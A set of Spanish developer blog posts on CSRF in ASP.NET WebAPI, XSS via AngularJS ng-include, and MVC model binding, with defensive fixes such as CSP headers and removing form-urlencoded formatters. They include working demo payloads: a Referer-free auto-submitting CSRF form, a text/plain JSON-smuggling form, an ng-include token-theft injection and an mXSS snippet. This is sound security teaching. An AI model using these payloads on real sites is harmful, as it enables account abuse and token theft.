El despropósito II parte

Amigo @eiximenis, me vas a permitir que en este post te llame como te mereces Sr. Don Eduard Tomas i Avellana y no es por hacerte la pelota, sino más bien por felicitarte por ese gran post.

Sobre WebApi, cookies y CSRF

En respuesta a este otro post mío.

Una evidencia, una fricada y un despropósito

Pero claro llego el momento de dejar los elogios, para empezar a darte cera de la buena Lengua fuera.

Si te tuviera que calificar, según lo que expones en el post optaría por evaluar dos cosas.

1. Seguridad. La nota para ese DelegatingHandler es un 10, si quieras que te sea sincero, estuve mirando esa posibilidad puesto que estas propuestas no me terminaron de convencer, dado que puedes tener algún problema de XSS y tu token puede ser vulnerable a robos y por tanto mala solución es.

Preventing CSRF Hacks in ASP.NET WebAPI

Preventing Cross-Site Request Forgery (CSRF) Attacks

Cosa que en MVC ese robo es bastante complicado puesto que va en un hidden y la única forma de acceder a el por parte de un usuario malicioso es hacer una petición GET desde un IFrame, pero en la actualidad como bien sabes los exploradores prohíben el acceso al contentDocument de un IFrame, menos mal.

Aunque algún intento con SVG FILTERS me consta que se ha hecho.

PIXEL PERFECT TIMING ATTACKS WITH HTML5

Que cosas fueron las que me decidieron no utilizar Referrer.

Que cuando hice las pruebas de CSRF me di cuenta que Chrome enviaba la cabecera Origin además de la cabecera Referrer por contra Internet Explorer y Firefox solo enviaban Refererr. Eso me llevo a investigar y encontrarme con esto.

The Web Origin Concept

Si quieres que te sea sincero la apoyo frente al envió de Referrer puesto que como usuario salvaguarda bastante más mi privacidad ya que solo se envía protocolo dominio y puerto.

-Que existe un Meta referrer donde yo como administrador de una web lo puedo colocar y ningún explorador va enviar el Referrer y que no tiene otro objetivo que proteger la privacidad de mis usuarios.

<meta name=»referrer» content=»never»>

En tu defensa tengo que decir que dejas muy claro que nunca se utilice una WebApi que se autentique por Cookie para exponer a terceros.

solo debes permitir autenticación por cookies en tus servicios web api si y solo si, son servicios web api pensados para ser usados tan solo desde la propia aplicación web. Y si lo haces asegúrate de establecer algún mecanismo adicional de seguridad para evitar CSRF.

Si por algún caso no se cumple el punto anterior y optas como dices por implementar un mecanismo de seguridad para evitar CSRF.

Que pasa si WebApi esta en un extremo http y yo consumo tu api desde un protocolo https.

Pues te lo digo que jamás te va a llegar el Referrer.

HTTP referer lee atentamente el aparatado Referer hiding

a website is accessed from a HTTP Secure (HTTPS) connection and a link points to anywhere except another secure location, then the referer field is not sent.[9]

Si te fijas ese [9] te va a llevar a este otro link donde se expone muy claramente ese punto.

15.1.3 Encoding Sensitive Information in URI’s

 

-Que siguiendo con ese mismo punto otra cosa que se expone muy clara y que evidentemente no se cumple, es que todos los agentes de usuario deberían de exponer un mecanismo para activar y desactivar el envió de la cabecera http referrer.

Cosa que como es de suponer se incumple por parte de todos excepto por Firefox.

Browser Privacy: How to Disable HTTP Referer, como es negra y a alguno le puede dar miedo entrar os voy a copiar lo que dice la web.

Mozilla Firefox

1. Type about:config in the address bar and press Enter.

2. Find the entry that says Network.http.sendRefererHeader and double-click on it.

3. Set the entry to one of the following:

0 – Disable referrer. <— This is what you want to set it as
1 – Send the Referer header when clicking on a link, and set document.referrer for the following page.
2 – Send the Referer header when clicking on a link or loading an image.

Google Chrome

Google Chrome does not allow you to disable this through any of their own features. In order to disable your HTTP Referer in Chrome, I recommend an extension such as this one:https://chrome.google.com/webstore/d…llklmbakbphhll

Opera

You can disable the HTTP Referer so that the browser is not sending it with your HTTP requests. In Opera, go to opera:config#UserPrefs|EnableReferrer, then uncheck the box, and finally save.

Apple Safari

Use a different browser. Safari currently does not have any working plugins or extensions that can successfully do this. If anyone is aware of one that works, comment or send me a PM and I will test it on my iMac to confirm.

Internet Explorer

Use a different browser. Internet Explorer in itself is outdated, bulky, resource intensive, and lacks many features that come standard with most other browsers. And on top of that Microsoft has stated there is no way to disable HTTP Referer on Internet Explorer, nor do they intend to add such a feature.

Por todas estás cosas es por las que no me parece acertado utilizar referrer como mecanismo para prevenir CSRF

2. Privacidad. Visto los puntos anteriores es evidente que estás utilizando mi privacidad como usuario para garantizar la seguridad de tu aplicación y es por eso por lo que en este apartado te tengo que poner un buen cerapio “0” seguro que es el primero que sacas en tu vida Lengua fuera.

Así que para resumir tu post de ayer con el que estoy en casi todo de acuerdo menos en la utilización de Referrer no me queda otra que evaluarte con un Suficiente Pelado Sonrisa.

Resumiendo que soy partidario de quitar los MediatypeFormatter que soportan Content-Type:application/xxx-form-urlencoded y que no son otros que.

JQueryMvcFormUrlEncodedFormatter.

-FormUrlEncodedMediaTypeFormatter.

En definitiva que a partir de este momento voy a dejar mi WebApiConfig.cs que está en la carpeta App_Start de la siguiente forma.

   1: public static class WebApiConfig

   2:     {

   3:         public static void Register(HttpConfiguration config)

   4:         {

   5:             //http://www.dotnetcurry.com/showarticle.aspx?ID=890            

   6:  

   7:             // Si estás lineas no las ejecutas tu api va a permitir 

   8:             // Content-Type:application/xxx-form-urlencoded y por tanto si te autenticas

   9:             // por cookie tu aplicación va a ser vulnerable a ataques del tipo CSRF

  10:             // http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery

  11:  

  12:             // Es decir que debes de implementar una estrategia CSRF en tu aplicación

  13:             //http://www.asp.net/web-api/overview/security/preventing-cross-site-request-forgery-(csrf)-attacks

  14:  

  15:             var removeFormaters = GlobalConfiguration.Configuration.Formatters

  16:                 .Where(x => x.GetType() == typeof(JQueryMvcFormUrlEncodedFormatter) || x.GetType() == typeof(FormUrlEncodedMediaTypeFormatter))

  17:                 .ToList();

  18:  

  19:             foreach (var formater in removeFormaters)

  20:             {

  21:                 GlobalConfiguration.Configuration.Formatters.Remove(formater);

  22:             }

  23:  

  24:             config.Routes.MapHttpRoute(

  25:                 name: "DefaultApi",

  26:                 routeTemplate: "api/{controller}/{id}",

  27:                 defaults: new { id = RouteParameter.Optional }

  28:             );

  29:  

  30:             // Quite los comentarios de la siguiente línea de código para habilitar la compatibilidad de consultas para las acciones con un tipo de valor devuelto IQueryable o IQueryable<T>.

  31:             // Para evitar el procesamiento de consultas inesperadas o malintencionadas, use la configuración de validación en QueryableAttribute para validar las consultas entrantes.

  32:             // Para obtener más información, visite http://go.microsoft.com/fwlink/?LinkId=279712.

  33:             //config.EnableQuerySupport();

  34:         }

  35:     }

Como creo que el público se merece conocer las técnicas con las que ayer intentamos tirar nuestros argumentos por tierra voy a hacer una pequeña descripción.

1. Evitar en el envió de Referrer.

   1: <script type="text/javascript">
   1:  

   2:     function post_without_referer() {

   3:         // POST request, WebKit & Firefox. Data, meta & form submit trinity

   4:         location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +

   5:                    '<form id=dynForm method=POST action='http://localhost:30022/api/prueba/'>' +

   6:                    '<input type=hidden name=email value=example@live.com />' +

   7:                    '<input type=hidden name=pass value=password />' +

   8:                    '<input type=hidden name=locale value=en_US />' +

   9:                    '</form><script>document.getElementById('dynForm').submit()</scri' + 'pt>"></html>';

  10:     }

  11:  

</script>

   2:  

   3: <a href="#" onclick="post_without_referer()" target="Hello">POST without referer (FF,chrome)</a>

Lo que hace es cambiar el location y solo funciona en FF y Chrome. Aunque algo parecido se puede hacer en IE con un anchor estableciendo rel=”noreferrer” y href a algo como esto

image

Os he pasado todas las instrucciones que he generado desde la consola del navegador y si queréis ver que pasa mandaros un email con este anchor a vosotros mismos.

Viendo el código de Eduard para el DelegatingHandler es evidente que no cuela ninguna de estas técnicas, es decir su código es seguro.

2. Eduard me defendía que “application/json” también podía ser susceptible de ataques CSRF según esta documentación.

W3C HTML JSON form submission

Espero que eso no se apruebe en la vida, porque entonces la fiesta va a ser buena y hasta donde he probado no lo soporta ningún explorador.

Ojo que no estás inmune con “application/json”. Es decir que si habilitas CORS y te autenticas por Api no solo te pueden hacer CSRF a los métodos POST sino a todos, pero esto lo vamos a dejar para otro capítulo o para que lo investigues tu.

3. Basándome en esos dos MediaTyperFormatter que aportan más problemas que beneficios yo le comente que porque no creamos un MediaTypperFormatter que soporte “text/plain” y después deserializamos con Json.Net.

Sabes lo que te puede pasar, pues sencillo que te puedo enviar lo siguiente.

   1: <form enctype="text/plain" method="post" action="/Home/Test">

   2:     <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>

   3:     <input type="submit" value="send" /> 

De momento WebApi lanza un error porque no soporta “text/plain” espero que a nadie se le ocurra.

Para finalizar, está claro que esto es responsabilidad tuya y solamente tuya, no es del Framework, aunque este no te lo pone nada fácil y es por eso por lo que para mi es un despropósito.

Hazte las siguientes preguntas.

1. Porque la generación de un controlador MVC y WebApi no generan un mecanismo anti CSRF o por lo menos lo preguntan.

2. Porque se agregan esos dos MediaTypeFormatter de serie y sin más advertencias y que en el 99% de los casos no los voy a utilizar y son un problema con respecto a seguridad.

Conclusión.

Piénsate muy mucho la autenticación por Cookies en tu WebApi.

 

 

 

 

Una evidencia, una fricada y un despropósito

La verdad que me apetecía contar mi charla del gusenet, que al final por tiempo y por otras razones me fue imposible hacer.

Básicamente el tema principal de la charla era mostrar dos vulnerabilidades web que aunque viejas siguen presentes en nuestra vidas y no se si alguna vez seremos capaces de quitárnoslas de una vez por todas.

Estás dos vulnerabilidades son:

Cross site scripting(xss)

Cross Site Request Forgery(csrf)

Si os fijáis en el título vais a ver de forma muy clara la estructura del post.

1. Una evidencia(xss en angularjs).

Hace aproximadamente más de 1 año que empecé a trabajar con Angularjs y no había que ser muy espabilado para darte cuenta rápidamente que existía un cierto peligro ante este ataque.

Lo primero que hice fue hacer una búsqueda sencilla y que me aporto no poca luz “angulajs xss” 

mustache-security

Pero vamos si trabajas con otro framework como Backbone,knockoutjs,etc,etc. y piensas que solo afecta a Angularjs te invito a que hagas la misma búsqueda pero cambiando la palabra angularjs por tu framework y lo mismo te sorprendes.

Vamos y que para te quede claro, aunque el primer ataque de este tipo creo que fue por el 2005 o quizá antes History of Cross Site Scripting  lo llevamos a nuestras espaldas desde entonces y la moda de hacer Single-page application(SPA) va a hacer que siga vivo creo que un buen puñado de años más y con más fuerza.

Así que como consejo si te planteas hacer una aplicación de este tipo reserva algunas horas para preocuparte de esta vulnerabilidad.

Aunque os pasare el proyecto completo os cuento la estructura de este para que os hagáis una idea de que estamos hablando.

image

-Un proyecto llamado “Victima” que en mi caso se ejecuta en “localhost:10322” y que no es otra cosa que un proyecto MVC donde vamos a hacer el ataque.

-Un proyecto “Atacante” que es el proyecto que va a utilizar el usuario malicioso para explotar tus vulnerabilidades. “localhost:10755”.

-Una dll llamada “Apis” que es el que vamos a utilizar en el última parte del post y que va a mostrar la vulnerabilidad CSRF y que está referenciado en el primero de los proyectos.

Si os habéis leído todas las vulnerabilidades de Angularjs ya os cuento que solamente quedan pendientes de corregir las dos últimas y muy malo tienes que ser para no solucionarlas de forma sencilla y eso es lo que os voy a explicar.

Un atacante lo que va a hacer es inyectar en vuestra página este fragmente de html.

image>

Es decir tu tienes un div que es donde arranca tu app de Angularjs con un controllador llamado “MyController” y el atacante lo que ha conseguido es incluir en ese fragmente tuyo el span que incluye la directiva ng-include.

Alguno uno se puede preguntar como lo ha hecho o pensar que es imposible, el atacante ha buscado una parte compartida por muchos usuarios de tu web donde pueden iterar e introducir texto y este es leído por el resto de usuarios. Por ejemplo una agenda compartida, los cometarios de un post, un chat que tan de moda se ha puesto.

 El caso es que tu cada vez que renderizas tu página insertas ese span que es el causante del problema xss.

Por otra parte como la directiva ng-include lo que hace es traer mediante xmlhttprequest código html y sustituirlo.

El atacante tiene que habilitar Cross-origin resource sharing(CORS) en su web. Y te preguntas si esto para el es un problema, pues ya te digo yo que no, por el encantado.

Y es eso lo que yo he hecho en el proyecto “Atacante” en un simple y sencillo controlador MVC, habilitar CORS.

   1: public ActionResult Index()

   2:         {

   3:             var oriGinHeader = Request.Headers.GetValues(Origin);

   4:             if (null!=oriGinHeader)

   5:             {

   6:                 bool isCorsRequest = !string.IsNullOrEmpty(oriGinHeader.FirstOrDefault());

   7:                 bool isPreflightRequest = Request.HttpMethod == "OPTIONS";

   8:                 if (isCorsRequest)

   9:                 {

  10:                     if (isPreflightRequest)

  11:                     {

  12:                         Response.Headers.Add(AccessControlAllowOrigin, oriGinHeader.First());

  13:  

  14:                         string accessControlRequestMethod = Request.Headers.GetValues(AccessControlRequestMethod).FirstOrDefault();

  15:                         if (accessControlRequestMethod != null)

  16:                         {

  17:                             Response.Headers.Add(AccessControlAllowMethods, accessControlRequestMethod);

  18:                         }

  19:  

  20:                         string requestedHeaders = string.Join(", ", Request.Headers.GetValues(AccessControlRequestHeaders));

  21:                         if (!string.IsNullOrEmpty(requestedHeaders))

  22:                         {

  23:                             Request.Headers.Add(AccessControlAllowHeaders, requestedHeaders);

  24:                         }

  25:                     }

  26:                     else

  27:                     {

  28:                         Response.Headers.Add(AccessControlAllowOrigin, Request.Headers.GetValues(Origin).First());

  29:                     }

  30:                 }

  31:             }

  32:             return PartialView();

  33:         }

Que si, que ya se que existe EnableCors, pero este tiene también para un post, que ya os escribiré.

Si os fijáis en el código aparte de habilitar CORS lo que hace es devolver una PartialView() que de verdad os va a gustar.

image

Una vez que veáis el código del controlador de la victima.

image

No le hagáis caso a $compile ,$scope$sce que ya veréis después el sentido de esos tres parámetros. De momento  solo quédate que en el controlador hay una llamada http a una api de Google Drive y que necesita un token del tipo Bearer y es ese el objetivo del atacante no mostrar un alert sino robarte el token y mandárselo a su web para almacenarlo, menos mal que este ya está caducadoSonrisa.

Y como te lo está robando? Con esta línea de código y aprovechando que cualquier function JavaScript al hacer toString() devuelve el código fuente de esta.

angular.module(‘app’)._invokeQueue[0][2][1].toString()

Es decir algo que bondadosamente alguien ha escrito con ese “_” para decirte no me toques y es ese el lugar utilizado por el atacante para obtener el código fuente de cualquier function JavaScript en Angulajs y en este caso le interesa el código fuente de tu controllador. Ya habrás visto porque Sonrisa.

AngularJS: Loading a controller dynamically

Es decir que lo bueno a veces puede ser una fuente magnifica para explotar por parte de un usuario malicioso.

Visto lo fácil que es ,ahora vamos con las posibles soluciones.

1. Reescribir el método toString() de Function.

Function.prototype.toString = function() {return «»;)

Está podría ser una solución que no te aconsejo, puesto que es en parte en lo que se basa Angularjs para hacer la inyección de dependencias, cuando tu declaras una function sin utilizar la forma declarativa de Angularjs, para indicar las dependencias.

Forma no declarativa y por tanto ejecución de toString().

angular.module(‘app’, function($scope){});

Forma declarativa y no ejecución de toString() y la recomendada.

angular.module(‘app’,[$scope,function(scope){}])

2. Comentar la linea 1995 y de la 2014 a 2016 de Angularjs.

image

La verdad que no es muy recomendable,

-Principalmente porque estás quitando funcionalidades,

-Tienes que cargar el archivo Angular.js y no el Angular.min.js, aunque esto se puede solucionar

-Por último  porque tienes que estar pendiente de actualizaciones y que no se te olvide. Aunque siendo sincero es la que utilizo porque ese ng-include me da mucho miedo.

3. Utilizar ng-bind-html.

Siempre que utilices contenido dinámico y que quieras representar como html y dependa de entradas de usuario.

Es ahora el momento de ver esos tres parámetros que tenía el controlador y que no se estaban utilizando.

$sce por favor no utilices esto. he visto mucho código de angular escrito en el controlador de esta forma para sanitizar el html.

$scope.html=$sce.trustAsHtml(«<span class=»ng-include:’http://localhost:10755/'»>hello kitty</span>»);

Primero porque no quita el ng-include y segundo porque ya lo hace la directiva ng-bind-html.

image

En una palabra y para entendernos, no hagas las cosas dos veces que con esto te sobra la línea del controlador.

<div ng-bind-html=»html»/>

Es decir que sino fuese por el miedo que me da ng-include yo te recomendaría esta forma.

Evita en la medida de lo posible utilizar $scompile que es el responsable de compilar todo el Dom y ejecutarlo y es hay donde te va a saltar este ataque.

Vamos que se te quede grabado en la memoria siempre que trabajes con Angularjs esto.

image

4. Utilización de Content Security Policy(CSP)

Content Security Policy Reference

An Introduction to Content Security Policy

Can I use Content Security Policy?

No te paso estos link para que no los leas, sino para que lo hagas y estés pendiente de eso. Eso si, cuando los señores de Internet Explorer hagan las cosas bien, creo que es una utopía y un sueño inalcanzable Triste.

Pero con estas sencillas líneas en un web.config adiós a tus problemas de xss por lo menos en Chrome.

   1: <system.webServer>

   2:     

   3:     <httpProtocol>

   4:       <customHeaders>

   5:         <add name="Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   6:         <add name="X-Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   7:         <add name="X-WebKit-CSP" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>      

   8:       </customHeaders>

   9:     </httpProtocol>

Queréis que analicemos en Chrome lo que ocurre

image

1. Que modernizer es la primera que viola CSP y excepto que la quites está incluida en todos tus proyectos MVC.

2. Que tu no me cargas con CSP contenido desde el proyecto atacante aunque nazcas otra vezSonrisa.

Me encanta esta frase.

Refused to connect to ‘http://localhost:10755/’ because it violates the following Content Security Policy directive:

«connect-src ‘self’
https://www.googleapis.com/drive/v2/files  *.localhost:36227″.

3. Que de nuevo aparece otro invento browserLink y no paramos xDDDD.

Browser Link feature in Visual Studio Preview 2013

Vamos que te deja la máquina temblando, para que tu puedas jugar en Visual Studio.

Y por supuesto, como no iba a introducir algo en tu página, eso si lo puedes parametrizarSonrisa.

   1: <!-- Visual Studio Browser Link -->

   2: <script type="application/json" id="__browserLink_initializationData">
   1:  

   2:     {"appName":"InternetExplorer","requestId":"7a3a178b1eff46b7a300e21a1a8e3627"}

</script>

   1:  

   2: <script type="text/javascript" src="http://localhost:36227/f5aa9fa758364c0983d1ee7f22e2353d/browserLink" async="async">

</script>

   3: <!-- End Browser Link -->

Ves Amigo Lluis como al final me he desfogado https://twitter.com/lluisfranco/status/464418178018607104Sonrisa

image

2. Una fricada(ataque xss, pero jamón,jamón)

En realidad son dos ataques, uno aprovechando una future de Chrome y que tiene que tener habilitado esto.

image

Luego simplemente ve a esta página y saca tus propias conclusiones, tranquilo que no te roban nada.

CSP Bypass in Chrome Canary + AngularJS

Fíjate en el fuente del gif y te vas a reír de lo lindo, es decir que antes  que una funcionalidad que aún no ha visto la luz y que se supone que va a estar presente en WebComponents(import) ya hay alguien que se ha entretenido en jugar un poco. Veis ahora como la posible y creo que única solución para este problema de más de 9 años es que todos los browser acepten CSP.

La segunda es utilizar mutacion xss y el innerHtml, pero con estas líneas

   1: <b class="ng-include:'somefile?--&gt;&lt;div&sol;onmousemove=alert&lpar;1&rpar;&gt;'">HELLO</b>

   2: <button onclick="body.innerHTML+=1">do the mXSS thing</button>

Vamos dos joyitas esperando a que tu web salga al mercado y no tengas en cuenta XSS.

3. El despropósito(CSRF en WebApi).

Los que somos más viejos en el mundo del desarrollo con herramientas Microsoft, recordamos aquellos años en los que las templates de Visual Studio tenían comentarios y ayudas lo suficientemente significativas como para no cagarla de la forma que vais a ver.

image

Es decir y para que te quede claro, que lo mismo no te molestas ni en escribir estas líneas, creo que debes de saber cuales son las consecuencias.

1.JQueryMvcFormUrlEncodedFormatter. Encargado de procesar todos los Content-Type:application/xxx-form-urlencoded y cuyos parámetros de tu controlador sean “FormDataCollection” y “JToken

2. FormUrlEncodedMediaTypeFormatter. Se encarga de gestionar cualquier método que no tenga como parametro “FormDataCollection” y “JToken” y que el Content-Type sea xxx-form-urlencoded, es decir todos. Porque de serie se cargan estos dos MediaTypeFormatterSonrisa

Con lo cual como un atacante tonto no es, y el parte de estos conocimientos.

Lo que posiblemente haga es ver si tu api se esta autenticando por cookie’s y hacerte ir a una página suya mediante un correo electrónico u otra técnica para escribir algo como esto.

image

En una palabra, hacer un POST sin que tu lo detectes a tu página vulnerable.

Veis esas líneas comentadas. Pues si te autenticas por cookie’s en Web Api y no tienes en cuenta una estrategia de defensa de CSRF, no solamente el verbo HTTP POST, sino todos tus verbos HTTP y todos los formatos son vulnerables a ataques CSRF si además habilitas CORS. Yo creo que ya veis el próximo post que habla de EnableCors

Ahora yo te hago una serie de preguntas

-Piensas que estás salvado en una intranet o si te autenticas con Basic access authentication, que en algún otro proyecto lo he visto, aún creyendo que https les salvaba ?

Te respondo, cuan grande es la ignorancia cuando cada uno toma lo que le interesa.

-Te parece acertado este post sin más explicaciones?

Tiny Happy Features #2 – ASP.NET Web API in Visual Studio 2012

Conclusiones.

Muy sencillas las de hoy, tu mismo las puedes deducir y ver cuando uno escribe estás cosas por el bien de los demás a algunos otros les sienta mal, o peor ven fantasmas inexistentes y piensan que yo estoy en contra de Microsoft, pues lo tienen claroSonrisa. Estoy en contra de las cosas mal hechas y cada día son más abundantes.

Pues que no os siente mal, que como ya dijo  el maestro Chalalo, “menos post comerciales y más técnicos”.

P.D. Si alguien quiere los proyecto que me los pida por twitter o email y se lo mando o lo mismo los pongo en Github que está de moda.

Binding la historia interminable

Este post surge a raíz de una pregunta de un amigo de gusenet en el grupo de facebook y que básicamente lo que quería es bindear el siguiente modelo de JavaScript a un controlador MVC.

1. Modelo JavaScript

image

En un principio listStr se llamaba listInt y contenía valores integer, solo que adultere inicialmente su proyecto para ver si ese “Ho,la2” al contener una “,” me generaba 5 elementos en vez de cuatro, cosas mías.

También agregue el campo name con valor “Hola”, para comprobar ciertas cosas en el modelo de Binding de MVC.

2. Firma del método del controlador.

Originalmente tenía la siguiente firma, cosa que ya me pareció un tanto rara al no estar todos los parámetros agrupados en una clase, pero bueno, la única consecuencia y es lo que vamos a ver es que esa firma no funciona en WebApi.

image

Bueno sabiendo que ese método, no era compatible con WebApi lo que hice fue crear un modelo con la siguiente estructura y dejar el método lo más parecido a un método WebApi.

A estas alturas te preguntas por qué?, pues sencillo, intento no escribir más código del absolutamente necesario y cuanto más líneas escriba en un controlador MVC y WebApi más voy a tirar.

Modelo que agrupa cada una de los parámetros.

image

Quiero que os fijéis en la parte que está comentada, un constructor que asigna cada uno de los parámetros a propiedades de la clase definidas con el modificador private set, esta ha sido siempre mi forma de definir mis modelos tanto en WebApi como en MVC. Evidentemente sin el el atributo “JsonProperty” que no es más que un requerimiento de Json.Net si quieres no definir un constructor con parametros. Cosa que evidentemente no me gusta, con lo cual mi modelo ideal sería algo como esto.

image

Pero vamos no consigues que sea compatible entre MVC y WebApi excepto que hagas algún que otro cambio y es lo que voy a hacer y ver si me aceptan un Pull Request

Una vez visto todo esto, vamos a mostrar los métodos de los controladores tanto de WebApi como de MVC y vemos lo que ocurre, enviando datos desde JQuery.

Método del controlador WebApi

image

Método del controlador MVC

image

Como podéis ver me han quedado los métodos, bastante parecidos y ahora vamos con las tres llamadas de JQuery.

1. Usando traditional=true sobre el controlador de MVC.

image

Solamente bindea la propiedad “Name” del modelo y listStr. Person nos llegan con valor  null

2. Usando traditional=true sobre el controlador WebApi.

image

Bindea “Name” y ListStr crea el objeto Person con todas las propiedades a null.

El motivo está claro cuando tu utilizas $.param de JQuery lo que hace es recorrer todas las propiedades del objeto JavaScript y hacer toString de cada una de ellas ,con lo cual el toString() de person es [object Object] y eso es lo que nos llega al servidor.

En resumen intenta olvidar el uso de traditional=true, puesto que para objetos complejos no funciona.

3. Usando traditional=false sobre el controlador MVC.

image

Solamente hace binding correctamente sobre la propiedad Name, listStr llega a null y Person se crea peso todas sus propiedades llegan a null

4. Usando traditional=false sobre un controlador WebApi.

image

Bien, hemos conseguido nuestro objetivo. Por fin tenemos todas las propiedades bindeadas correctamente. Y ahora es el momento de reflexiones.

1. Porque funciona en WebApi y no en MVC. Sencillo MVC para hacer esto necesita un ValueProvider que no existe, es decir alguien ha escrito un ValueProvider y un MediaTypeFormatter en WebApi y no ha pensado en MVC. El responsable de que todo esto funcione es el JQueryMvcFormUrlEncodedFormatter.

2. Como he comentado la idea de hacer un Pull Request os voy a pasar el código necesario para que esto mismo funcione en MVC.

Escribimos las siguiente clases

   1: public class MyValueProvider : IValueProvider

   2: {

   3:  

   4:     readonly Dictionary<string, ValueProviderResult> _dictionay = new Dictionary<string, ValueProviderResult>(StringComparer.OrdinalIgnoreCase);

   5:     public MyValueProvider(NameValueCollection collection)

   6:     {

   7:         foreach (var item in collection.AllKeys)

   8:         {

   9:            

  10:             if (item.Contains("[]"))

  11:             {

  12:                 MakeArray(collection, item);

  13:             }

  14:             else

  15:             {

  16:                 var name = string.Empty;

  17:                 if (TryGetComplexObject(item, out name))

  18:                 {

  19:                     MakeComplexObject(collection, item, name);

  20:                 }

  21:              

  22:             }

  23:         }

  24:     }

  25:     private bool TryGetComplexObject(string item,out string name)

  26:     {

  27:         var values = item.Split('[');

  28:         name = null;

  29:         if(values.Length>1)

  30:         {

  31:             name = GetName(values);

  32:             return true;

  33:         }

  34:         return false;

  35:     }

  36:     private void MakeComplexObject(NameValueCollection collection,string item, string name)

  37:     {               

  38:         var value = collection[item];

  39:         _dictionay[name] = GetValueProvider(value, CultureInfo.CurrentCulture);              

  40:     }

  41:     private void MakeArray(NameValueCollection collection, string item)

  42:     {

  43:         var culture = CultureInfo.CurrentCulture;

  44:         var values = collection.GetValues(item);     

  45:         var name = item.Replace("[]", "");           

  46:         

  47:         for(var i =0;i<values.Length;i++)

  48:         {

  49:             var key = string.Format("{0}[{1}]", name, i);

  50:             _dictionay[key] = GetValueProvider(values[i], culture);

  51:             

  52:         }

  53:     }

  54:     private ValueProviderResult GetValueProvider(string value,CultureInfo culture)

  55:     {

  56:         string attemptedValue = Convert.ToString(value, culture);

  57:         return  new ValueProviderResult(value, attemptedValue, culture);

  58:     }

  59:     private string GetName(string[] values)

  60:     {           

  61:  

  62:         var sb = new StringBuilder();            

  63:         var separator = string.Empty;

  64:         foreach (var segment in values)            

  65:         {                

  66:             var name = segment.Replace("]", "");

  67:             var number = 1;

  68:             bool isArray = int.TryParse(name, out number);               

  69:             if (isArray)

  70:             {

  71:                 name = string.Format("[{0}]", name);

  72:                 separator = string.Empty;

  73:             }

  74:             sb.Append(separator);

  75:             sb.Append(name);                

  76:             separator = ".";

  77:         }

  78:         return sb.ToString();

  79:     }

  80:  

  81:     public bool ContainsPrefix(string prefix)

  82:     {

  83:         var result = (_dictionay.Keys.Contains(prefix) || _dictionay.Keys.Where(c => c.ToUpper().StartsWith(prefix.ToUpper())).Count() > 0);

  84:         return result;           

  85:     }

  86:     public ValueProviderResult GetValue(string key)

  87:     {

  88:         ValueProviderResult result;

  89:         _dictionay.TryGetValue(key, out result);

  90:         return result;

  91:     }

  92: }

  93: public class MyValueProviderFactory : ValueProviderFactory

  94: {

  95:     public override IValueProvider GetValueProvider(ControllerContext controllerContext)

  96:     {

  97:         if (!controllerContext.HttpContext.Request.ContentType.StartsWith("application/x-www-form-urlencoded", StringComparison.OrdinalIgnoreCase))

  98:         {                

  99:             return null;

 100:         }            

 101:         return new MyValueProvider(controllerContext.HttpContext.Request.Form);

 102:     }

 103: }

y agregamos esta linea al Global.asax de MVC.

ValueProviderFactories.Factories.Add(new MyValueProviderFactory())

Si ahora probáis, os va a funcionar exactamente igual en MVC como en WebApi.

4. Utilizando Application/Json con JQuery, puesto que los dos intentos anteriores envían  application/x-www-form-urlencoded y ya había una propuesta para mi equivocada de como se podía solucionar esto en MVC.

Model Binding To A List no es que no funcione que si funciona ,pero a la postre no es más que ir contra corriente y para eso no mejor que leerte esto jQuery.param() y concretamente este párrafo.

image

Es decir, que nosotros siendo más modernos que estos framework no soportamos algo que ya estaba desde JQuery 1.4. Pero no es que no lo soportemos, es que hasta hace poco era como un querer diferenciarnos y al final darnos cuenta que esa diferenciación no ha llegado a ningún sitio, me apena de verdad Triste.

Cuando realmente lo único que había que hacer es transformar algo como esto

person[Address][0][Street] a esto otro person.Addres[0].Street que no es otra cosa que lo que yo hago en el código que os he pasado y lo que hace el NameValuePairsValueProvider en el MediaTypeFormatter JQueryMvcFormUrlEncodedFormatter.

Vamos a ver que esto está en extension Method en la dll System.Web.Http y lo mismo costaba mucho introducirla en la dll System.Web.Mvc Triste.

Comprendéis ahora esta entrada en twitter mía

image

https://twitter.com/_PedroHurtado/status/464073404438814720

Bueno dicho todo esto vamos a ver que pasa cuando utilizamos application/json.

image

Pues ya os lo digo, que funciona tanto en MVC como en WebApi y este es el camino que el amigo Javier Troubleshooter opto por utilizar para este caso, pero tambien deja mucho que desear el planteamiento de MVC. JavaScriptSerializer en vez de haber implementado en la nueva versión Json.Net.

Como cierre me preguntaba que si este último forma podría tener alguna consecuencia, pues ya te digo amigo Javier que excepto que tengas habilitado CORS y te autentiques por Cookie, no. Es más quien tiene consecuencias y bastante serias sino se utiliza un mecanismo para prevenir CRSF son los otros dos.

Pero esto lo voy a dejar para el siguiente post que no es otra cosa que poder contar cual era mi charla en el gusenet, que por motivos conocidos no logre darSonrisa.

Conclusiones.

Que no se hagan las cosas a trozos que al final tenemos un framework super pesado por tener cosas repetitivas en varias dll’s para resolver el mismo problema.

Que se revise todo el modelo de binding de MVC y WebApi que le hace falta.

Mucha gente me ha pedido que escriba de Gusenet y haga un resumen de que tal fue el evento y el porque. Bueno no me gusta escribir de esas cosas y prefiero transmitir otra idea de lo que es el Gusenet.

1. Ayuda a cualquier persona.

2. Diviértete.

3. No lo utilices como medio para nada, ni a nivel personal ni a nivel de empresa, es muy desagradable escuchar alguna cosa como que yo quiero dar la charla en el palacio y no en el bar. Y que más te da, si piensas en eso no has entendido ni un pelo lo que es la idea de comunidad del Gusenet.

Compartir y Divertirse.